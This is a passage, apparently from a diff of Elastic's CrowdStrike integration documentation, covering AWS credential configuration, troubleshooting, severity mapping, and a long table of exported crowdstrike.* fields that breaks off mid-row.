profile or - access keys. -3. Use `credential_profile_name` and/or `shared_credential_file`: - If `access_key_id`, `secret_access_key` and `role_arn` are all not given, then - the package will check for `credential_profile_name`. - If you use different credentials for different tools or applications, you can use profiles to - configure multiple access keys in the same configuration file. - If there is no `credential_profile_name` given, the default profile will be used. - `shared_credential_file` is optional to specify the directory of your shared - credentials file. - If it's empty, the default directory will be used. - In Windows, shared credentials file is at `C:\Users\\.aws\credentials`. - For Linux, macOS or Unix, the file locates at `~/.aws/credentials`. - Please see[Create Shared Credentials File](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/create-shared-credentials-file.html) - for more details. - -#### Troubleshooting - -##### Vulnerability API returns 404 Not found - -This error may occur for the following reasons: -1. Too many records in the response. -2. The pagination token has expired. Tokens expire 120 seconds after a call is made. - -To resolve this, adjust the `Batch Size` setting in the integration to reduce the number of records returned per pagination call. - -##### Duplicate Events - -The option `Enable Data Deduplication` allows you to avoid consuming duplicate events. By default, this option is set to `false`, and so duplicate events may be ingested. When this option is enabled, a [fingerprint processor](https://www.elastic.co/guide/en/elasticsearch/reference/current/fingerprint-processor.html) is used to calculate a hash from a set of Crowdstrike fields that uniquely identifies the event. The hash is assigned to the Elasticsearch [`_id`](https://www.elastic.co/guide/en/elasticsearch/reference/current/mapping-id-field.html) field that makes the document unique, thus avoiding duplicates. - -If duplicate events are ingested, to help find them, the integration `event.id` field is populated by concatenating a few Crowdstrike fields that uniquely identifies the event. These fields are `id`, `aid`, and `cid` from the Crowdstrike event. The fields are separated with pipe `|`. -For example, if your Crowdstrike event contains `id: 123`, `aid: 456`, and `cid: 789` then the `event.id` would be `123|456|789`. - -#### Alert severity mapping - -The values used in `event.severity` are consistent with Elastic Detection Rules. - -| Severity Name | `event.severity` | -|----------------------------|:----------------:| -| Low, Info or Informational | 21 | -| Medium | 47 | -| High | 73 | -| Critical | 99 | - -If the severity name is not available from the original document, it is determined from the numeric severity value according to the following table. - -| Crowdstrike `severity` | Severity Name | -|------------------------|:-------------:| -| 0 - 19 | info | -| 20 - 39 | low | -| 40 - 59 | medium | -| 60 - 79 | high | -| 80 - 100 | critical | - -#### Example - -**Exported fields** - -| Field | Description | Type | -|---|---|---| -| @timestamp | Event timestamp. | date | -| aws.s3.bucket.arn | The AWS S3 bucket ARN. | keyword | -| aws.s3.bucket.name | The AWS S3 bucket name. | keyword | -| aws.s3.object.key | The AWS S3 Object key. | keyword | -| crowdstrike.AccessType | | keyword | -| crowdstrike.AccountDomain | | match_only_text | -| crowdstrike.AccountObjectGuid | | match_only_text | -| crowdstrike.AccountObjectSid | | match_only_text | -| crowdstrike.AccountType | | keyword | -| crowdstrike.ActiveDirectoryAuthenticationMethod | | keyword | -| crowdstrike.ActivityId | | keyword | -| crowdstrike.AddressFamily | | keyword | -| crowdstrike.AdminStatus | | keyword | -| crowdstrike.AgentIdString | | keyword | -| crowdstrike.AgentLoadFlags | | keyword | -| crowdstrike.AgentLocalTime | | date | -| crowdstrike.AgentTimeOffset | | float | -| crowdstrike.AgentVersion | | keyword | -| crowdstrike.AggregateId | | keyword | -| crowdstrike.AllocateVirtualMemoryCount | | long | -| crowdstrike.AllowlistingFilterId | | keyword | -| crowdstrike.AnodeIndicators | | nested | -| crowdstrike.AntiTamperStateFlag | | keyword | -| crowdstrike.ApiReturnValue | | keyword | -| crowdstrike.ApplicationName | | match_only_text | -| crowdstrike.ArchiveFileWrittenCount | | long | -| crowdstrike.AsepClass | | keyword | -| crowdstrike.AsepFlags | | keyword | -| crowdstrike.AsepIndex | | keyword | -| crowdstrike.AsepValueType | | keyword | -| crowdstrike.AsepWrittenCount | | long | -| crowdstrike.AssemblyFlags | | keyword | -| crowdstrike.AssemblyId | | keyword | -| crowdstrike.AssemblyName | | keyword | -| crowdstrike.AssociatedFile | | keyword | -| crowdstrike.Attacks.Tactic | | keyword | -| crowdstrike.Attacks.Technique | | keyword | -| crowdstrike.AttemptNumber | | long | -| crowdstrike.AuthenticationActivityId | | keyword | -| crowdstrike.AuthenticationId | | keyword | -| crowdstrike.AuthenticationPackage | | keyword | -| crowdstrike.AuthenticationUuid | | keyword | -| crowdstrike.AuthenticationUuidAsString | | keyword | -| crowdstrike.AuthenticodeHashData | | keyword | -| crowdstrike.AuthenticodeHashDataSHA256 | | keyword | -| crowdstrike.BaseReachableTime | | keyword | -| crowdstrike.BatchDataNumber | | keyword | -| crowdstrike.BatchDataTotal | | keyword | -| crowdstrike.BatchTimestamp | | date | -| crowdstrike.BinaryExecutableWrittenCount | | long | -| crowdstrike.BiosChanged | | match_only_text | -| crowdstrike.BiosManufacturer | | keyword | -| crowdstrike.BiosReleaseDate | | date | -| crowdstrike.BiosVersion | | keyword | -| crowdstrike.BluetoothClassOfDeviceValue | | match_only_text | -| crowdstrike.BluetoothDeviceAppearanceValue | | match_only_text | -| crowdstrike.BluetoothDeviceModelNumber | | match_only_text | -| crowdstrike.BluetoothDeviceName | | match_only_text | -| crowdstrike.BluetoothServiceName_1 | | match_only_text | -| crowdstrike.BluetoothServiceName_3 | | match_only_text | -| crowdstrike.BluetoothServiceName_4 | | match_only_text | -| crowdstrike.BluetoothServiceName_5 | | match_only_text | -| crowdstrike.BluetoothServiceName_6 | | match_only_text | -| crowdstrike.BluetoothServiceName_7 | | match_only_text | -| crowdstrike.BluetoothServiceName_8 | | match_only_text | -| crowdstrike.BluetoothServiceUuidArray | | match_only_text | -| crowdstrike.BluetoothServiceUuid_1 | | match_only_text | -| crowdstrike.BluetoothServiceUuid_2 | | match_only_text | -| crowdstrike.BluetoothServiceUuid_3 | | match_only_text | -| crowdstrike.BluetoothServiceUuid_4 | | match_only_text | -| crowdstrike.BluetoothServiceUuid_5 | | match_only_text | -| crowdstrike.BluetoothServiceUuid_6 | | match_only_text | -| crowdstrike.BluetoothServiceUuid_7 | | match_only_text | -| crowdstrike.BluetoothServiceUuid_8 | | match_only_text | -| crowdstrike.BluetoothVendorIdSource | | match_only_text | -| crowdstrike.BootArgs | | keyword | -| crowdstrike.BootTimeFunctionalityLevel | | keyword | -| crowdstrike.BoundedCount | | long | -| crowdstrike.BoundingLimitCount | | long | -| crowdstrike.BoundingLimitDuration | | keyword | -| crowdstrike.BrowserExtensionId | | keyword | -| crowdstrike.BrowserExtensionInstallMethod | | keyword | -| crowdstrike.BrowserExtensionStatusEnabled | | keyword | -| crowdstrike.BrowserFileHash | | keyword | -| crowdstrike.BrowserFilePath | | keyword | -| crowdstrike.BrowserName | | keyword | -| crowdstrike.BrowserProfileId | | keyword | -| crowdstrike.BrowserProfileName | | keyword | -| crowdstrike.BrowserVersion | | keyword | -| crowdstrike.BundleID | | keyword | -| crowdstrike.CLICreationCount | | long | -| crowdstrike.CNAMERecords | | keyword | -| crowdstrike.CallStackModuleNames | | keyword | -| crowdstrike.CallStackModuleNamesVersion | | version | -| crowdstrike.CapPrm | | keyword | -| crowdstrike.CertificateIssuer | | keyword | -| crowdstrike.CertificatePublisher | | keyword | -| crowdstrike.CertificateSignatureHash | | keyword | -| crowdstrike.CertificateSignatureHashAlgorithm | | keyword | -| crowdstrike.ChangeId | | keyword | -| crowdstrike.ChangeTime | | date | -| crowdstrike.ChangedPcrBitmap | | match_only_text | -| crowdstrike.ChannelDiffStatus | | keyword | -| crowdstrike.ChannelId | | keyword | -| crowdstrike.ChannelVersion | | keyword | -| crowdstrike.ChannelVersionRequired | | keyword | -| crowdstrike.ChasisManufacturer | | keyword | -| crowdstrike.ChassisType | | keyword | -| crowdstrike.ClientComputerName | | keyword | -| crowdstrike.ClientId | | match_only_text | -| crowdstrike.ClientProcessStartKey | | keyword | -| crowdstrike.CloudIndicator | | boolean | -| crowdstrike.CommandCount | | match_only_text | -| crowdstrike.CommandCountMax | | match_only_text | -| crowdstrike.CommandHistory | | keyword | -| crowdstrike.CommandHistory.text | Multi-field of `crowdstrike.CommandHistory`. | match_only_text | -| crowdstrike.CompanyName | | keyword | -| crowdstrike.CompletionEventId | | keyword | -| crowdstrike.CompositeId | Global unique identifier that identifies a unique alert. | keyword | -| crowdstrike.ConHostId | | keyword | -| crowdstrike.ConHostProcessId | | keyword | -| crowdstrike.ConfigBuild | | keyword | -| crowdstrike.ConfigIDBase | | keyword | -| crowdstrike.ConfigIDBuild | | keyword | -| crowdstrike.ConfigIDPlatform | | keyword | -| crowdstrike.ConfigStateData | | text | -| crowdstrike.ConfigStateHash | | keyword | -| crowdstrike.ConfigurationDescriptorName | | match_only_text | -| crowdstrike.ConfigurationVersion | | keyword | -| crowdstrike.ConnectTime | | date | -| crowdstrike.ConnectType | | keyword | -| crowdstrike.ConnectionAddressIP6 | | match_only_text | -| crowdstrike.ConnectionFlags | | keyword | -| crowdstrike.ConnectionType | | keyword | -| crowdstrike.ContentDiff.Exists | | boolean | -| crowdstrike.ContentPatternCounts | | nested | -| crowdstrike.ContentPatterns.ConfidenceLevel | | long | -| crowdstrike.ContentPatterns.ID | | keyword | -| crowdstrike.ContentPatterns.MatchCount | | long | -| crowdstrike.ContentPatterns.Name | | keyword | -| crowdstrike.ContentSHA256HashData | | keyword | -| crowdstrike.ContextBaseFileName | | keyword | -| crowdstrike.ContextImageFileName | | keyword | -| crowdstrike.ContextProcessId | | keyword | -| crowdstrike.ContextProcessTagsAsString | | keyword | -| crowdstrike.ContextTimeStamp | System local time of event creation. | date | -| crowdstrike.CpuClockSpeed | | keyword | -| crowdstrike.CpuFeaturesMask | | keyword | -| crowdstrike.CpuProcessorName | | keyword | -| crowdstrike.CpuSignature | | keyword | -| crowdstrike.CpuVendor | | keyword | -| crowdstrike.CreateProcessCount | | long | -| crowdstrike.CreateProcessType | | keyword | -| crowdstrike.CurrentFunctionalityLevel | | keyword | -| crowdstrike.CurrentLocalIP | | ip | -| crowdstrike.CustomerIdString | | keyword | -| crowdstrike.CycleTime | | long | -| crowdstrike.DadState | | keyword | -| crowdstrike.DadTransmits | | keyword | -| crowdstrike.Data1 | | keyword | -| crowdstrike.DataDomains | | keyword | -| crowdstrike.DcNumAttachments | | match_only_text | -| crowdstrike.DcNumBlockingPolicies | | match_only_text | -| crowdstrike.Description | | keyword | -| crowdstrike.DesiredAccess | | keyword | -| crowdstrike.Destination | | nested | -| crowdstrike.Destination.Channel | | keyword | -| crowdstrike.DetectDescription | | keyword | -| crowdstrike.DetectId | | keyword | -| crowdstrike.DetectName | | keyword | -| crowdstrike.DetectionType | | keyword | -| crowdstrike.DeviceId | | keyword | -| crowdstrike.DeviceMountCounter | | long | -| crowdstrike.DevicePropertyClassGuid | | match_only_text | -| crowdstrike.DevicePropertyClassName | | match_only_text | -| crowdstrike.DevicePropertyLocationInformation | | match_only_text | -| crowdstrike.DirectionType | | keyword | -| crowdstrike.DirectoryCreatedCount | | long | -| crowdstrike.DirectoryEnumeratedCount | | long | -| crowdstrike.DllCharacteristics | | keyword | -| crowdstrike.DnsRequestCount | | long | -| crowdstrike.DnsRequests | Detected DNS requests done by a process. | nested | -| crowdstrike.DnsResponseType | | keyword | -| crowdstrike.DocumentFileWrittenCount | | long | -| crowdstrike.DomainSid | | keyword | -| crowdstrike.DotnetModuleFlags | | keyword | -| crowdstrike.DotnetModuleId | | keyword | -| crowdstrike.DownloadPath | | keyword | -| crowdstrike.DownloadPort | | long | -| crowdstrike.DownloadServer | | keyword | -| crowdstrike.DriverLoadFlags | | keyword | -| crowdstrike.DualRequest | | keyword | -| crowdstrike.DylibPath | | match_only_text | -| crowdstrike.ELFSubType | | keyword | -| crowdstrike.EffectiveTransmissionClass | | keyword | -| crowdstrike.EfiVariableCustomModeAttributes | | match_only_text | -| crowdstrike.EfiVariableDbAttributes | | match_only_text | -| crowdstrike.EfiVariableDbSha256Hash | | match_only_text | -| crowdstrike.EfiVariableKekAttributes | | match_only_text | -| crowdstrike.EfiVariableKekSha256Hash | | match_only_text | -| crowdstrike.EfiVariablePkAttributes | | match_only_text | -| crowdstrike.EfiVariablePkSha256Hash | | match_only_text | -| crowdstrike.EfiVariableSecureBootAttributes | | match_only_text | -| crowdstrike.EfiVariableSetupMode | | match_only_text | -| crowdstrike.EfiVariableSetupModeAttributes | | match_only_text | -| crowdstrike.EfiVariableSignatureSupport | | match_only_text | -| crowdstrike.EfiVariableSignatureSupportAttributes | | match_only_text | -| crowdstrike.EgressEventId | | keyword | -| crowdstrike.EgressSessionId | | keyword | -| crowdstrike.EnabledPrivilegesBitmask | | keyword | -| crowdstrike.EndTime | | date | -| crowdstrike.Entitlements | | keyword | -| crowdstrike.EnvironmentVariableName | | keyword | -| crowdstrike.EnvironmentVariableValue | | keyword | -| crowdstrike.EnvironmentVariablesString | | match_only_text | -| crowdstrike.ErrorCode | | keyword | -| crowdstrike.ErrorStatus | | keyword | -| crowdstrike.EtwProviderType | | keyword | -| crowdstrike.EtwRawProcessId | | long | -| crowdstrike.EtwRawRpcClientProcessId | | keyword | -| crowdstrike.EtwRawThreadId | | long | -| crowdstrike.EventCorrelationId | | keyword | -| crowdstrike.EventOrigin | | integer | -| crowdstrike.EventTimestamp | | date | -| crowdstrike.EventType | | keyword | -| crowdstrike.EventUUID | | keyword | -| crowdstrike.ExceptionAddress | | keyword | -| crowdstrike.ExceptionCode | | keyword | -| crowdstrike.ExceptionInformation0 | | keyword | -| crowdstrike.ExclusionSource | | keyword | -| crowdstrike.ExclusionType | | keyword | -| crowdstrike.ExeAndServiceCount | | long | -| crowdstrike.ExecutableBytes | | match_only_text | -| crowdstrike.ExecutableDeletedCount | | long | -| crowdstrike.ExtendedAttributeValue | | match_only_text | -| crowdstrike.ExtendedAttributeValueReadable | | match_only_text | -| crowdstrike.ExtendedKeyUsages | | keyword | -| crowdstrike.ExternalApiType | | keyword | -| crowdstrike.FXFileSize | | keyword | -| crowdstrike.Facility | | keyword | -| crowdstrike.FailedConnectCount | | long | -| crowdstrike.FalconGroupingTags | | keyword | -| crowdstrike.FalconHostLink | | keyword | -| crowdstrike.FeatureExtractionVersion | | keyword | -| crowdstrike.FeatureVector | | match_only_text | -| crowdstrike.File | | keyword | -| crowdstrike.FileAttributes | | keyword | -| crowdstrike.FileAttributesNew | | keyword | -| crowdstrike.FileAttributesPrevious | | keyword | -| crowdstrike.FileCategory | | keyword | -| crowdstrike.FileCategoryCounts | | nested | -| crowdstrike.FileContent | | match_only_text | -| crowdstrike.FileDeletedCount | | long | -| crowdstrike.FileEcpBitmask | | keyword | -| crowdstrike.FileName | | keyword | -| crowdstrike.FileObject | | keyword | -| crowdstrike.FileOperatorSid | | keyword | -| crowdstrike.FilePath | | keyword | -| crowdstrike.FileSigningTime | | keyword | -| crowdstrike.FileSubType | | keyword | -| crowdstrike.FileSystemOperationType | | keyword | -| crowdstrike.FileType.Type.CategoryID | | keyword | -| crowdstrike.FileType.Type.CategoryName | | keyword | -| crowdstrike.FileType.Type.Description | | keyword | -| crowdstrike.FileType.Type.ID | | keyword | -| crowdstrike.FileType.Type.Name | | keyword | -| crowdstrike.FileVaultIsEnabled | | match_only_text | -| crowdstrike.FileVersion | | keyword | -| crowdstrike.FileWrittenFlags | | keyword | -| crowdstrike.FilesAccessed.FileName | | keyword | -| crowdstrike.FilesAccessed.FilePath | | keyword | -| crowdstrike.FilesAccessed.Timestamp | | date | -| crowdstrike.FilesEgressedCount | | long | -| crowdstrike.FilesWritten.FileName | | keyword | -| crowdstrike.FilesWritten.FilePath | | keyword | -| crowdstrike.FilesWritten.Timestamp | | date | -| crowdstrike.FirewallAction | | keyword | -| crowdstrike.FirewallOption | | keyword | -| crowdstrike.FirewallOptionNumericValue | | keyword | -| crowdstrike.FirewallProfile | | keyword | -| crowdstrike.FirewallRule | | keyword | -| crowdstrike.FirewallRuleId | | keyword | -| crowdstrike.FirmwareAnalysisEclConsumerInterfaceVersion | | keyword | -| crowdstrike.FirmwareAnalysisEclControlInterfaceVersion | | keyword | -| crowdstrike.FirstCommand | | match_only_text | -| crowdstrike.FirstDiscoveredDate | | date | -| crowdstrike.FirstIP4Record | | keyword | -| crowdstrike.FirstSeen | | date | -| crowdstrike.FixedFileVersion | | keyword | -| crowdstrike.Flags | | keyword | -| crowdstrike.FltCallbackData | | keyword | -| crowdstrike.FltCompletionContext | | keyword | -| crowdstrike.FltRelatedObjects | | keyword | -| crowdstrike.FontBuffer | | keyword | -| crowdstrike.FontBufferLength | | keyword | -| crowdstrike.FontFileCount | | long | -| crowdstrike.FontFileName | | keyword | -| crowdstrike.FontLoadOperation | | keyword | -| crowdstrike.FsOperationClassification | | keyword | -| crowdstrike.FsOperationClassificationFlags | | keyword | -| crowdstrike.FullExceptionRecord | | keyword | -| crowdstrike.GenericFileWrittenCount | | long | -| crowdstrike.GrandParentBaseFileName | | keyword | -| crowdstrike.GrandparentCommandLine | | keyword | -| crowdstrike.GrandparentCommandLine.text | Multi-field of `crowdstrike.GrandparentCommandLine`. | match_only_text | -| crowdstrike.GrandparentImageFileName | | keyword | -| crowdstrike.GrandparentImageFilePath | | keyword | -| crowdstrike.GrandparentProcessId | | keyword | -| crowdstrike.GroupRid | | keyword | -| crowdstrike.HandleCreateAuthenticationId | | keyword | -| crowdstrike.HandleCreated | | keyword | -| crowdstrike.HandleOperationType | | keyword | -| crowdstrike.HashAlgorithm | | keyword | -| crowdstrike.HostGroups | | keyword | -| crowdstrike.HostHiddenStatus | | keyword | -| crowdstrike.HostProcessType | | keyword | -| crowdstrike.HttpInternalSource | | match_only_text | -| crowdstrike.HttpMethod | | match_only_text | -| crowdstrike.HttpRequestHeader | | match_only_text | -| crowdstrike.HttpUrl | | match_only_text | -| crowdstrike.IOCType | | keyword | -| crowdstrike.IOCValue | | keyword | -| crowdstrike.IOServiceClass | | keyword | -| crowdstrike.IOServiceName | | keyword | -| crowdstrike.IOServicePath | | keyword | -| crowdstrike.IP4Records | | keyword | -| crowdstrike.IcmpCode | | keyword | -| crowdstrike.IcmpType | | keyword | -| crowdstrike.IfType | | keyword | -| crowdstrike.ImageBaseName | | keyword | -| crowdstrike.ImageCheckSum | | keyword | -| crowdstrike.ImageEntryPoint | | keyword | -| crowdstrike.ImageFileName | | keyword | -| crowdstrike.ImageSignatureLevel | | keyword | -| crowdstrike.ImageSignatureType | | keyword | -| crowdstrike.ImageSubsystem | | keyword | -| crowdstrike.ImageTimeStamp | | keyword | -| crowdstrike.ImpersonatedUserName | | keyword | -| crowdstrike.InBroadcastOctets | | keyword | -| crowdstrike.InContext | | keyword | -| crowdstrike.InDiscards | | keyword | -| crowdstrike.InErrors | | keyword | -| crowdstrike.InMulticastOctets | | keyword | -| crowdstrike.InMulticastPkts | | keyword | -| crowdstrike.InNUcastPkts | | keyword | -| crowdstrike.InOctets | | keyword | -| crowdstrike.InUcastOctets | | keyword | -| crowdstrike.InUcastPkts | | keyword | -| crowdstrike.InUnknownProtos | | keyword | -| crowdstrike.IndividualDiskInfo | | match_only_text | -| crowdstrike.Information | | keyword | -| crowdstrike.InjectedDll | | keyword | -| crowdstrike.InjectedDllCount | | long | -| crowdstrike.InjectedThreadCount | | long | -| crowdstrike.InjectedThreadFlag | | keyword | -| crowdstrike.InstanceMetadata | | match_only_text | -| crowdstrike.InstanceMetadataSignature | | match_only_text | -| crowdstrike.IntegrityLevel | | keyword | -| crowdstrike.InterfaceAlias | | keyword | -| crowdstrike.InterfaceDescription | | keyword | -| crowdstrike.InterfaceFlags | | keyword | -| crowdstrike.InterfaceGuid | | keyword | -| crowdstrike.InterfaceIdentifier | | keyword | -| crowdstrike.InterfaceIndex | | long | -| crowdstrike.InterfaceKind | | match_only_text | -| crowdstrike.InterfaceMtu | | keyword | -| crowdstrike.InterfaceType | | keyword | -| crowdstrike.InterfaceVersion | | keyword | -| crowdstrike.IpEntryFlags | | keyword | -| crowdstrike.IrpFlags | | keyword | -| crowdstrike.IsClipboard | | boolean | -| crowdstrike.IsEBPF | | keyword | -| crowdstrike.IsFromDifferentMountNamespace | | keyword | -| crowdstrike.IsHosted | | keyword | -| crowdstrike.IsOnNetwork | | keyword | -| crowdstrike.IsOnRemovableDisk | | keyword | -| crowdstrike.IsProcessInitializing | | keyword | -| crowdstrike.IsTransactedFile | | keyword | -| crowdstrike.IsUnique | | keyword | -| crowdstrike.KernelTime | | long | -| crowdstrike.KeyObject | | match_only_text | -| crowdstrike.LanguageId | | keyword | -| crowdstrike.LastAdded | | match_only_text | -| crowdstrike.LastDiscoveredBy | | keyword | -| crowdstrike.LastDisplayed | | match_only_text | -| crowdstrike.LastLoggedOnHost | | keyword | -| crowdstrike.LastPendingUpdateInstalledTime | | match_only_text | -| crowdstrike.LaunchItemType | | match_only_text | -| crowdstrike.LaunchItemUrl | | match_only_text | -| crowdstrike.LdapSearchFilterSample | | match_only_text | -| crowdstrike.LfoUploadFlags | | keyword | -| crowdstrike.LightningLatencyState | | keyword | -| crowdstrike.Line | | keyword | -| crowdstrike.LinkLocalAddressBehavior | | keyword | -| crowdstrike.LinkLocalAddressTimeout | | keyword | -| crowdstrike.LocalAddressIP4 | | ip | -| crowdstrike.LocalAddressIP6 | | ip | -| crowdstrike.LocalAddressMaskIP4 | | keyword | -| crowdstrike.LocalAddressMaskIP6 | | keyword | -| crowdstrike.LocalAdminAccess | | keyword | -| crowdstrike.LocalIP | | ip | -| crowdstrike.LocalIPv6 | | ip | -| crowdstrike.LocalIpAddressPipelineSource | | keyword | -| crowdstrike.LogicalCoreCount | | long | -| crowdstrike.LoginSessionId | | keyword | -| crowdstrike.LogoffTime | | date | -| crowdstrike.LogonDomain | | keyword | -| crowdstrike.LogonId | | keyword | -| crowdstrike.LogonInfo | | keyword | -| crowdstrike.LogonServer | | keyword | -| crowdstrike.LogonTime | | date | -| crowdstrike.LogonType | | keyword | -| crowdstrike.MACAddress | | keyword | -| crowdstrike.MACPrefix | | keyword | -| crowdstrike.MD5HashData | | keyword | -| crowdstrike.MD5String | | keyword | -| crowdstrike.MLModelVersion | | keyword | -| crowdstrike.MachOSubType | | keyword | -| crowdstrike.MajorFunction | | keyword | -| crowdstrike.MajorVersion | | keyword | -| crowdstrike.Malicious | | keyword | -| crowdstrike.ManagedPdbBuildPath | | match_only_text | -| crowdstrike.MappedFromUserMode | | keyword | -| crowdstrike.MatchedClassification.ID | | keyword | -| crowdstrike.MatchedClassification.Name | | keyword | -| crowdstrike.MaxReassemblySize | | keyword | -| crowdstrike.MaxRouterAdvertisementInterval | | keyword | -| crowdstrike.MaxThreadCount | | long | -| crowdstrike.MediaConnectState | | keyword | -| crowdstrike.MediaType | | keyword | -| crowdstrike.MemoryAvailable | | match_only_text | -| crowdstrike.MemoryTotal | | keyword | -| crowdstrike.Metric | | keyword | -| crowdstrike.MicrocodeSignature | | keyword | -| crowdstrike.MinRouterAdvertisementInterval | | keyword | -| crowdstrike.MinorFunction | | keyword | -| crowdstrike.MinorVersion | | keyword | -| crowdstrike.MmioDataGenPmconB | | match_only_text | -| crowdstrike.MmioDataSmiEn | | match_only_text | -| crowdstrike.MmioDataTco1Cnt | | match_only_text | -| crowdstrike.MoboManufacturer | | keyword | -| crowdstrike.MoboProductName | | keyword | -| crowdstrike.ModelPrediction | | keyword | -| crowdstrike.ModuleCharacteristics | | keyword | -| crowdstrike.ModuleILPath | | keyword | -| crowdstrike.ModuleLoadCount | | long | -| crowdstrike.ModuleLoadTelemetryClassification | | keyword | -| crowdstrike.ModuleSize | | keyword | -| crowdstrike.MountedVolumeAction | | keyword | -| crowdstrike.NDRoot | | keyword | -| crowdstrike.NegateInterface | | keyword | -| crowdstrike.NegateLocalAddress | | keyword | -| crowdstrike.NegateRemoteAddress | | keyword | -| crowdstrike.NeighborList | | keyword | -| crowdstrike.NeighborName | | keyword | -| crowdstrike.NetLuidIndex | | long | -| crowdstrike.NetworkAccesses.AccessTimestamp | | keyword | -| crowdstrike.NetworkAccesses.AccessType | | keyword | -| crowdstrike.NetworkAccesses.ConnectionDirection | | keyword | -| crowdstrike.NetworkAccesses.IsIPV6 | | keyword | -| crowdstrike.NetworkAccesses.LocalAddress | | keyword | -| crowdstrike.NetworkAccesses.LocalPort | | keyword | -| crowdstrike.NetworkAccesses.Protocol | | keyword | -| crowdstrike.NetworkAccesses.RemoteAddress | | keyword | -| crowdstrike.NetworkAccesses.RemotePort | | keyword | -| crowdstrike.NetworkBindCount | | long | -| crowdstrike.NetworkCapableAsepWriteCount | | long | -| crowdstrike.NetworkCloseCount | | long | -| crowdstrike.NetworkConnectCount | | long | -| crowdstrike.NetworkConnectCountUdp | | long | -| crowdstrike.NetworkContainmentState | | keyword | -| crowdstrike.NetworkGuid | | keyword | -| crowdstrike.NetworkInterfaceGuid | | keyword | -| crowdstrike.NetworkListenCount | | long | -| crowdstrike.NetworkModuleLoadCount | | long | -| crowdstrike.NetworkRecvAcceptCount | | long | -| crowdstrike.NewExecutableWrittenCount | | long | -| crowdstrike.NewFileAttributesLinux | | keyword | -| crowdstrike.NewFileIdentifier | | keyword | -| crowdstrike.NewUnixPermissions | | keyword | -| crowdstrike.NlMtu | | keyword | -| crowdstrike.Nonce | | unsigned_long | -| crowdstrike.OSVersionFileData | | match_only_text | -| crowdstrike.OSVersionFileName | | keyword | -| crowdstrike.OU | | keyword | -| crowdstrike.Object1Type | | keyword | -| crowdstrike.ObjectAccessOperationType | | keyword | -| crowdstrike.ObjectNameEtw | | match_only_text | -| crowdstrike.ObjectType | | keyword | -| crowdstrike.ObjectTypeEtw | | match_only_text | -| crowdstrike.Objective | | keyword | -| crowdstrike.OciContainerAppName | | match_only_text | -| crowdstrike.OciContainerAppVersion | | match_only_text | -| crowdstrike.OciContainerConfigImage | | match_only_text | -| crowdstrike.OciContainerConfigLabels | | match_only_text | -| crowdstrike.OciContainerConfigTty | | match_only_text | -| crowdstrike.OciContainerConfigUser | | match_only_text | -| crowdstrike.OciContainerEngineType | | match_only_text | -| crowdstrike.OciContainerHostConfigCgroup | | match_only_text | -| crowdstrike.OciContainerHostConfigDevices | | match_only_text | -| crowdstrike.OciContainerHostConfigOomKillDisable | | match_only_text | -| crowdstrike.OciContainerHostConfigPrivileged | | match_only_text | -| crowdstrike.OciContainerHostConfigPublishAllPorts | | match_only_text | -| crowdstrike.OciContainerHostConfigReadOnlyRootfs | | match_only_text | -| crowdstrike.OciContainerId | | match_only_text | -| crowdstrike.OciContainerImageId | | match_only_text | -| crowdstrike.OciContainerInfoRetransmitted | | match_only_text | -| crowdstrike.OciContainerMounts | | match_only_text | -| crowdstrike.OciContainerName | | match_only_text | -| crowdstrike.OciContainerNetworkSettingsIpAddress | | match_only_text | -| crowdstrike.OciContainerPhase | | match_only_text | -| crowdstrike.OciContainerStateOOMKilled | | match_only_text | -| crowdstrike.OciContainerStatePid | | match_only_text | -| crowdstrike.OciContainersStartedCount | | match_only_text | -| crowdstrike.OciContainersStoppedCount | | match_only_text | -| crowdstrike.OnLinkPrefixLength | | keyword | -| crowdstrike.OperStatus | | keyword | -| crowdstrike.OperationFlags | | keyword | -| crowdstrike.Options | | keyword | -| crowdstrike.OriginWebLocations | | flattened | -| crowdstrike.OriginalContentLength | | keyword | -| crowdstrike.OriginalEventTimeStamp | | keyword | -| crowdstrike.OriginalFilename | | keyword | -| crowdstrike.OriginalParentAuthenticationId | | keyword | -| crowdstrike.OriginalUserName | | keyword | -| crowdstrike.OriginalUserSid | | keyword | -| crowdstrike.OutBroadcastOctets | | keyword | -| crowdstrike.OutDiscards | | keyword | -| crowdstrike.OutErrors | | keyword | -| crowdstrike.OutMulticastOctets | | keyword | -| crowdstrike.OutMulticastPkts | | keyword | -| crowdstrike.OutNUcastPkts | | keyword | -| crowdstrike.OutOctets | | keyword | -| crowdstrike.OutUcastOctets | | keyword | -| crowdstrike.OutUcastPkts | | keyword | -| crowdstrike.Parameter1 | | keyword | -| crowdstrike.Parameter2 | | keyword | -| crowdstrike.Parameter3 | | keyword | -| crowdstrike.Parameter64_1 | | keyword | -| crowdstrike.Parameter64_2 | | keyword | -| crowdstrike.Parameter64_3 | | keyword | -| crowdstrike.ParentAuthenticationId | | keyword | -| crowdstrike.ParentCommandLine | | keyword | -| crowdstrike.ParentCommandLine.text | Multi-field of `crowdstrike.ParentCommandLine`. | match_only_text | -| crowdstrike.ParentImageFileName | | keyword | -| crowdstrike.ParentImageFilePath | | keyword | -| crowdstrike.ParentProcessPatternIdList | | keyword | -| crowdstrike.PasswordLastSet | | keyword | -| crowdstrike.PathMtuDiscoveryTimeout | | keyword | -| crowdstrike.PatternDispositionDescription | | keyword | -| crowdstrike.PatternDispositionFlags.BlockingUnsupportedOrDisabled | | boolean | -| crowdstrike.PatternDispositionFlags.BootupSafeguardEnabled | | boolean | -| crowdstrike.PatternDispositionFlags.ContainmentFileSystem | | boolean | -| crowdstrike.PatternDispositionFlags.CriticalProcessDisabled | | boolean | -| crowdstrike.PatternDispositionFlags.Detect | | boolean | -| crowdstrike.PatternDispositionFlags.FsOperationBlocked | | boolean | -| crowdstrike.PatternDispositionFlags.HandleOperationDowngraded | | boolean | -| crowdstrike.PatternDispositionFlags.InddetMask | | boolean | -| crowdstrike.PatternDispositionFlags.Indicator | | boolean | -| crowdstrike.PatternDispositionFlags.KillActionFailed | | boolean | -| crowdstrike.PatternDispositionFlags.KillParent | | boolean | -| crowdstrike.PatternDispositionFlags.KillProcess | | boolean | -| crowdstrike.PatternDispositionFlags.KillSubProcess | | boolean | -| crowdstrike.PatternDispositionFlags.OperationBlocked | | boolean | -| crowdstrike.PatternDispositionFlags.PolicyDisabled | | boolean | -| crowdstrike.PatternDispositionFlags.ProcessBlocked | | boolean | -| crowdstrike.PatternDispositionFlags.QuarantineFile | | boolean | -| crowdstrike.PatternDispositionFlags.QuarantineMachine | | boolean | -| crowdstrike.PatternDispositionFlags.RegistryOperationBlocked | | boolean | -| crowdstrike.PatternDispositionFlags.Rooting | | 